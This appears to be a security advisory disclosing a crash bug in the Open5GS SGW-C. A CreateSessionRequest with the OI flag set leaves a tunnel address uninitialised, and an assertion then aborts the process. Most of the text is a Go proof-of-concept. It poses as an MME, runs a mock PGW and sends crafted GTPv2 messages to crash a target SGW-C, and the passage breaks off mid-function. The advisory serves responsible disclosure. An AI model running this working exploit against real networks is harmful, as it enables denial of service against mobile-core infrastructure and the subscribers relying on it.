| الوصف | ### Description
SGW-C can be forced to **abort (SIGABRT / core dump)** when handling a **CreateSessionRequest** on **S11** with the **Indication IE OI flag (0x08)** set. With OI=1, SGW-C sends a **ModifyBearerRequest** to the PGW (S5-C) instead of directly proceeding as usual. If the subsequent **ModifyBearerResponse** path does not initialize the PGW S5U tunnel address (`ul_tunnel->remote_ip`), then while building the **CreateSessionResponse** back to MME, SGW-C hits:
- `[gtp] ERROR: No IPv4 or IPv6 (../lib/gtp/v2/conv.c:150)`
- `sgwc_s11_build_create_session_response: Assertion 'rv == OGS_OK' failed. (../src/sgwc/s11-build.c:120)`
This results in an immediate SGW-C process crash (DoS).
### Credit
Ziyu Lin, Xiaofeng Wang, Wei Dong (Nanyang Technological University)
### CVSS3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
### Steps to reproduce
1. Start a new go project inside a new folder: `go mod init poc`
2. Create a `main.go` and paste the code below:
```
package main
// Vulnerability: Uninitialized PGW S5U Address in OI Flag Path
// Target: Open5GS SGW-C sgwc_s11_build_create_session_response
// File: src/sgwc/s11-build.c:120
// Crash: ogs_assert(rv == OGS_OK) after ogs_gtp2_ip_to_f_teid() fails
// Error: "No IPv4 or IPv6" because ul_tunnel->remote_ip is never initialized
//
// Root Cause:
// - sgwc_s5c_handle_modify_bearer_response() does NOT parse Bearer Context
// - ul_tunnel->remote_ip is never set from PGW's MBR Response
// - When building CreateSessionResponse, conversion fails
//
// Attack Flow:
// 1) MME -> SGW-C: CreateSessionRequest with OI flag (0x08)
// 2) SGW-C -> PGW: ModifyBearerRequest (because of OI flag)
// 3) PGW -> SGW-C: ModifyBearerResponse (with Bearer Context containing PGW S5U F-TEID)
// 4) SGW-C crashes: ul_tunnel->remote_ip is empty, assertion fails
import (
"flag"
"fmt"
"log"
"math/rand"
"net"
"sync"
"time"
"github.com/wmnsk/go-gtp/gtpv2"
"github.com/wmnsk/go-gtp/gtpv2/ie"
gtpv2msg "github.com/wmnsk/go-gtp/gtpv2/message"
)
func main() {
// MME (S11) connection parameters
target := flag.String("target", "", "SGW-C S11 IP (required)")
port := flag.Int("port", 2123, "GTP-C port")
laddr := flag.String("laddr", "", "Local IP to bind (auto-detect if empty)")
// Session parameters
apn := flag.String("apn", "internet", "APN to request")
imsi := flag.String("imsi", "001011234567890", "IMSI")
mcc := flag.String("mcc", "001", "Serving network MCC")
mnc := flag.String("mnc", "01", "Serving network MNC")
// PGW mock parameters
pgwBind := flag.String("pgw-bind", ":2123", "PGW-C mock listen address")
pgwIP := flag.String("pgw-ip", "", "PGW control-plane IP (default: auto)")
pgwPAA := flag.String("pgw-paa", "10.0.0.10", "PDN Address Allocation")
// TEID parameters
mmeTEID := flag.Uint("mme-teid", 0, "MME S11 TEID (0=random)")
pgwTEID := flag.Uint("pgw-teid", 0, "PGW S5C TEID (0=random)")
enbIP := flag.String("enb-ip", "10.0.0.10", "eNB S1-U IP")
enbTEID := flag.Uint("enb-teid", 0, "eNB S1-U TEID (0=random)")
flag.Parse()
if *target == "" {
log.Fatal("--target is required")
}
rand.Seed(time.Now().UnixNano())
fmt.Println("================================================================")
fmt.Println(" Vulnerability: Uninitialized PGW S5U Address (s11-build.c:120)")
fmt.Println(" Target: SGW-C sgwc_s11_build_create_session_response")
fmt.Println(" Attack: OI flag causes Bearer Context parsing to be skipped")
fmt.Println("================================================================")
// Connect to SGW-C S11 interface as MME
conn, localIP := dialGTPv2(*target, *port, *laddr)
defer conn.Close()
log.Printf("[*] Connected to SGW-C S11 at %s:%d (local: %s)", *target, *port, localIP)
// Determine PGW IP
if *pgwIP == "" {
*pgwIP = localIP
}
// Channel for PGW to signal when it receives ModifyBearerRequest
mbrReceived := make(chan mbrInfo, 1)
pgwReady := make(chan struct{})
responseSent := make(chan bool, 1)
// Start PGW mock
pgwConn, err := startPGWMock(*pgwBind, *pgwIP, *pgwPAA, mbrReceived, pgwReady, responseSent)
if err != nil {
log.Fatalf("start PGW mock: %v", err)
}
defer pgwConn.Close()
<-pgwReady
log.Printf("[*] PGW mock listening on %s", *pgwBind)
// Initialize TEIDs
mmeTeid := randNonZeroUint32(uint32(*mmeTEID))
pgwTeid := randNonZeroUint32(uint32(*pgwTEID))
enbTeid := randNonZeroUint32(uint32(*enbTEID))
baseSeq := randSeq()
// Send CreateSessionRequest WITH OI flag
log.Printf("[*] Sending CreateSessionRequest with OI flag (0x08)...")
log.Printf(" OI flag triggers MBR to PGW instead of CSR")
log.Printf(" SGW-C will NOT parse Bearer Context from MBR Response")
log.Printf(" ul_tunnel->remote_ip will remain uninitialized")
csr, err := buildCSRWithOI(baseSeq, *imsi, *apn, localIP, *pgwIP, *mcc, *mnc, mmeTeid, pgwTeid, enbTeid, *enbIP)
if err != nil {
log.Fatalf("build CSR: %v", err)
}
if err := sendMessage(conn, csr); err != nil {
log.Fatalf("send CSR: %v", err)
}
log.Printf("[+] CreateSessionRequest sent with OI=1")
// Wait for PGW to receive MBR
log.Printf("[*] Waiting for PGW to receive ModifyBearerRequest...")
select {
case info := <-mbrReceived:
log.Printf("[+] PGW received ModifyBearerRequest from SGW-C")
log.Printf(" SGW S5C TEID=0x%x, Seq=0x%x", info.sgwTeid, info.seq)
case <-time.After(10 * time.Second):
log.Fatal("Timeout waiting for MBR at PGW")
}
// Wait for response to be sent
log.Printf("[*] Waiting for ModifyBearerResponse to trigger crash...")
select {
case <-responseSent:
log.Printf("[+] ModifyBearerResponse sent!")
log.Printf("[*] SGW-C should crash now:")
log.Printf(" - sgwc_s5c_handle_modify_bearer_response() doesn't parse Bearer Context")
log.Printf(" - ul_tunnel->remote_ip is empty (never initialized)")
log.Printf(" - ogs_gtp2_ip_to_f_teid() fails: 'No IPv4 or IPv6'")
log.Printf(" - ogs_assert(rv == OGS_OK) triggers crash at s11-build.c:120")
case <-time.After(5 * time.Second):
log.Printf("[!] Timeout waiting for response to be sent")
}
// Wait for crash
time.Sleep(2 * time.Second)
log.Println("")
log.Println("[*] Attack complete. Verify crash with:")
log.Println(" docker logs sgwc --tail 20")
log.Println("")
log.Println("[*] Expected crash log:")
log.Println(" [gtp] ERROR: No IPv4 or IPv6 (../lib/gtp/v2/conv.c:150)")
log.Println(" [sgwc] FATAL: sgwc_s11_build_create_session_response: Assertion `rv == OGS_OK' failed. (../src/sgwc/s11-build.c:120)")
}
type mbrInfo struct {
sgwTeid uint32
seq uint32
raddr *net.UDPAddr
}
func startPGWMock(bind, pgwIP, paa string, mbrCh chan<- mbrInfo, ready chan<- struct{}, responseSent chan<- bool) (*net.UDPConn, error) {
laddr, err := net.ResolveUDPAddr("udp", bind)
if err != nil {
return nil, fmt.Errorf("resolve bind: %w", err)
}
conn, err := net.ListenUDP("udp", laddr)
if err != nil {
return nil, fmt.Errorf("listen udp: %w", err)
}
pgwCtrlTeid := randNonZeroUint32(0)
pgwUpTeid := randNonZeroUint32(0)
var mu sync.Mutex
mbrHandled := false
go func() {
close(ready)
buf := make([]byte, 4096)
for {
n, raddr, err := conn.ReadFromUDP(buf)
if err != nil {
return
}
go func(b []byte, r *net.UDPAddr) {
msg, err := gtpv2msg.Parse(b)
if err != nil {
log.Printf("[PGW] parse error: %v", err)
return
}
switch m := msg.(type) {
case *gtpv2msg.CreateSessionRequest:
log.Printf("[PGW] Received CreateSessionRequest - unexpected with OI flag!")
handlePGWCSR(conn, r, m, pgwCtrlTeid, pgwUpTeid, paa, pgwIP)
case *gtpv2msg.ModifyBearerRequest:
mu.Lock()
if mbrHandled {
mu.Unlock()
log.Printf("[PGW] Ignoring retransmission")
return
}
mbrHandled = true
mu.Unlock()
teid := m.TEID()
if m.SenderFTEIDC != nil {
if v, err := m.SenderFTEIDC.TEID(); err == nil {
teid = v
}
}
log.Printf("[PGW] Received ModifyBearerRequest seq=0x%x", m.Sequence())
// Notify main goroutine
select {
case mbrCh <- mbrInfo{sgwTeid: teid, seq: m.Sequence(), raddr: r}:
default:
}
// Send response immediately (no delay needed for this vulnerability)
// The crash happens because SGW-C doesn't parse our response, not timing
log.Printf("[PGW] Sending ModifyBearerResponse with valid PGW S5U F-TEID")
log.Printf("[PGW] Note: SGW-C will NOT parse this Bearer Context!")
resp := gtpv2msg.NewModifyBearerResponse(
teid, m.Sequence(),
ie.NewCause(gtpv2.CauseRequestAccepted, 0, 0, 0, nil),
ie.NewBearerContext(
ie.NewCause(gtpv2.CauseRequestAccepted, 0, 0, 0, nil),
ie.NewEPSBearerID(5),
// This F-TEID contains valid IP, but SGW-C won't parse it!
ie.NewFullyQualifiedTEID(gtpv2.IFTypeS5S8PGWGTPU, pgwUpTeid, pgwIP, "").WithInstance(2),
),
)
if err := pgwSendMsg(conn, r, resp); err != nil {
log.Printf("[PGW] send error: %v", err)
} else {
log.Printf("[PGW] ModifyBearerResponse sent (TEID=0x%x)", teid)
}
select {
case responseSent <- true:
default:
}
default:
log.Printf("[PGW] Ignored message type=%d", msg.MessageType())
}
}(append([]byte(nil), buf[:n]...), raddr)
}
}()
return conn, nil
}
func handlePGWCSR(conn *net.UDPConn, raddr *net.UDPAddr, req *gtpv2msg.CreateSessionRequest,
pgwCtrlTeid, pgwUpTeid uint32, paa, pgwIP string) {
sgwTeid := req.TEID()
if req.SenderFTEIDC != nil {
if v, err := req.SenderFTEIDC.TEID(); err == nil {
sgwTeid = v
}
}
ebi := uint8(5)
if req.LinkedEBI != nil {
if v, err := req.LinkedEBI.EPSBearerID(); err == nil && v != 0 {
ebi = v
}
}
resp := gtp |
|---|